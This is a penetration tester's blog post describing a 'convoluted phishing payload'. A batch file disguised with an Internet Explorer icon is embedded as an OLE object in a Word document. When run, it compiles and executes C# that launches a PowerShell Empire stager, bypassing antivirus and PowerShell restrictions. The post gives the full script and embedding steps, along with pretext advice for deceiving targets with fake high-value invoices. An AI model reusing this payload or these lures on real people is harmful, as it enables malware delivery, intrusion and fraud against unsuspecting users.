A Convoluted Phishing Payload to Circumvent Common Protections

UPDATE (Jan. 2018) - OLE is dead. Microsoft has decided (finally) that executables, scripts, etc. are a bad idea to embed within Microsoft Office documents. If you try to do this on an updated Windows system, attempting to execute the OLE will result in a security error preventing anything from running (default setting). Instead, this method can be adapted to be used with DDE execution through Excel. Coming soon: blog post explaining this.



Phishing engagements bring me both joy and heartache at the same time. Popping a shell on someones machine through a well crafted email just brings out all the feels (insert success kid meme). However, lately, it has become a headache as well. There are a plethora of different security solutions which block known payload signatures along with next generation AV which analyzes the payloads sent and flags for known bad behavior.

On a recent penetration test, I was tasked with conducting a phishing assessment with an objective of using “malicious” attachments to obtain a reverse shell connection to my client’s network. Through a few initial test emails, I identified the following:
  • IPS or edge firewall systems would inspect outbound traffic to ensure it was legitimate web traffic (HTTP/HTTPS), and only allowed egress over port 80/443.
  • “Next Gen” antivirus such as Cylance or Carbon Black inspected all executable files for strange behavior. If an executable automatically established a reverse connection back to my server, the AV would detect it.
  • PowerShell.exe was disabled for all users on their workstations.
  • Executable files, Macro Office documents, or zipped files sent as an email attachment were stripped and the email was sent to spam.
  • Executable files downloaded from the internet (such as exe, bat, or HTML Applications [HTAs]) were blocked by a web content gateway.

After burning multiple phishing / vishing targets with different payload types, I realized I needed to think a little outside of the box. So, I obtained a machine running a next gen AV deployed in full blocking mode as well as a traditional AV installed, put up my own edge firewall and web content filters to mirror what I suspected theirs to be, and went to work in my lab on creating something to bypass these controls.

I’ll start with this: what I came up with was not perfect or pretty. It is a mashup of some homegrown batch hacking and evasion/bypass techniques discovered by other people, all stitched together in a loose manner. Unlike simply enabling a macro, it really requires users to ignore security warnings. But, it worked, and out of 100 targets, I popped 4 shells in the first thirty minutes.

How this payload works (I dub thee name 'CPP' - convoluted phishing payload):
  1. Delivered through a Microsoft Word document using Object Linking and Embedding (OLE)
  2. OLE is a batch file disguised with another Microsoft product icon (Internet Explorer = win).
  3. The batch file does the following:
    • Locates CSC.exe on the machine 
    • Locates system.management.assembly.dll
    • Echos C# code into a text file which..
      • Uses system.management.assembly.dll to run PowerShell code without PowerShell.exe
      • Contains a PowerShell Empire stager
    • Compiles C# using CSC
    • Runs the resulting executable


Creating the Batch File Payload 

Hate reading how it works? Skip to grabbing the code from GitHub here: 
https://github.com/ac3lives/Convoluted-Phishing-Payload-CPP

Since PowerShell and WScript were disabled, our payload needed to be a compiled exe, but there was no way to deliver this to a system without it getting caught. That is where the CSC tool within the .NET framework comes into play. On most Windows 7, 8, and 10 systems, if .NET is installed then so is CSC.exe, the program needed to compile C# code. The location may not always be the same and therefore we use a find command in the batch file:

@echo off
pushd %~dp0
setlocal enableextensions
for /f "tokens=*" %%a in (
'where /r "C:\Windows\Microsoft.NET\Framework" "csc.exe"'
) do (
set myvar=%%a
)

Once we have found ‘csc.exe’ and set it to the variable ‘myvar’, we need to also find the System.management.automation.dll package to tie in some additional functionality required by our payload. All Windows systems should have this, so we do another find command in the common path and store it to myvar2:

for /f "tokens=*" %%b in (
'where /r "C:\windows\assembly" "system.management.automation.dll"'
) do (
set myvar2=%%b
)

We then echo our C# code into a text file called 'secureportal.cs'. Edit the line which starts off with 'echo string stager' and insert your encoded PowerShell Empire payload. Note that you should only insert the encoded portion from the generated PowerShell Empire launcher stager. If you are unfamiliar with PowerShell Empire, see http://www.powershellempire.com/.

echo using System; >> secureportal.cs
echo using System.Text; >> secureportal.cs
echo using System.Collections.ObjectModel; >> secureportal.cs
echo using System.Management.Automation; >> secureportal.cs
echo using System.Management.Automation.Runspaces; >> secureportal.cs
echo namespace LegitSoftware >> secureportal.cs
echo { >> secureportal.cs
    echo class Program >> secureportal.cs
    echo { >> secureportal.cs
        echo static string RunPS(string cmd) >> secureportal.cs
        echo { >> secureportal.cs
            echo Runspace runspace = RunspaceFactory.CreateRunspace(); >> secureportal.cs
            echo runspace.Open(); >> secureportal.cs
            echo RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace); >> secureportal.cs
            echo Pipeline pipeline = runspace.CreatePipeline(); >> secureportal.cs
            echo pipeline.Commands.AddScript(cmd); >> secureportal.cs
            echo pipeline.Commands.Add("Out-String"); >> secureportal.cs
            echo Collection^<PSObject^> results = pipeline.Invoke(); >> secureportal.cs
            echo runspace.Close(); >> secureportal.cs
            echo StringBuilder stringBuilder = new StringBuilder(); >> secureportal.cs
            echo foreach (PSObject obj in results) >> secureportal.cs
            echo { >> secureportal.cs
                echo stringBuilder.Append(obj); >> secureportal.cs
            echo } >> secureportal.cs
            echo return stringBuilder.ToString().Trim(); >> secureportal.cs
        echo } >> secureportal.cs
        echo static void Main() >> secureportal.cs
        echo { >> secureportal.cs
            echo string stager = "Insert encoded PowerShell Empire stager"; >> secureportal.cs
            echo var decodedScript = Encoding.Unicode.GetString(Convert.FromBase64String
                                     (stager)); >> secureportal.cs
             echo string results = RunPS(decodedScript); >> secureportal.cs
        echo } >> secureportal.cs
    echo } >> secureportal.cs
echo } >> secureportal.cs


Finally our batch script uses the stored variables from our find commands to compile and execute the C# code stored in secureportal.cs:

start /b /wait "" "%myvar%" /reference:%myvar2% secureportal.cs
start /b secureportal.exe
endlocal

Embedding the Batch File in an OLE for Delivery

Microsoft Object Linking and Embedding (OLE) allows for objects to be embedded in an Office document, generally used to include another office document or PDF file within it. For some unkown reason Microsoft has allowed for batch files to be a part of this (but not .exes), making it a great way to deliver our payload. The batch file itself is not placed as a standalone file on disk until a user double clicks on the OLE, which then writes the batch file into the Office apps temporary directory under the name you attached it to the document as, in this case, secureportal.bat (this is also where our secureportal.cs C# code will be echoed out to). I initially tried including a .cs file as an OLE instead of echoing all of the code and then invoking it with the batch script OLE, but this then requires the user to double click on yet another OLE which would open the .cs file.

To insert the batch file as an OLE:

  1. Navigate to the Insert tab in Microsoft word and select 'Object'
  2. Select "Create from file"
  3. Click "Browse" and insert your batch payload
  4. Select 'display as icon'
  5. Select 'change icon'
  6. Change the icon to something that fits your pretext. This can be a Microsoft Word document, Internet Explorer icon, etc. For my pretext I am asking targeted users to open a 'secure' sign in portal on the internet to view sensitive content, so I use Internet Explorer's icon. If you enter the path to iexplorer.exe and select okay, an option pane will provide you with a bunch of different IE icons (C:\Program Files (x86)\Internet Explorer\iexplore.exe).
  7. Select OK to insert the object



The primary issue with a batch file OLE is the blatant security warnings that users receive when executing the object. Therefore, make sure you have a strong / believable pretext which is properly crafted towards your specific target company. A generic pre-canned pretext for all companies will most likely fail. Below you can see the warning message that users receive:


Creating a Working Pretext and Delivering the Document

I'll leave this part as an exercise for the reader, simply because there are a plethora of ways to do this. I've found that emailing the word document with the OLE included gets through email spam filters 9/10 times, with the 10% failure rate often attributed to companies not accepting emailed documents from unknown senders or those without a valid SPF record. If the email seems to be getting blocked, try sending a link to an AWS S3 bucket hosting your office document and coerce the user into clicking on the link, downloading the file, and running it.

Below is an example document that has been used a few times. We populate the fake shipping information with company name and relevant items to the users we are targeting. For example, if we target a medical company, we may say that specific drugs being shipped are regulated and therefore the delivery schedules and names require access to a secure portal. Including a high dollar amount for the invoice often leads to curiosity killing the cat, as the target panics and quickly reacts, opening the document without thinking twice.

> (Shout out to @l4bf0x for her awesome phishing document design!)




Hope this helps on an upcoming phishing engagement where everything seems to be failing.
Happy hacking
~Ac3lives
(Twitter: @Ac3lives)

Comments

  1. I think this is a real great article post.Really looking forward to read more. Visit at
    Crazy Video Hub

    ReplyDelete

Post a Comment

Popular Posts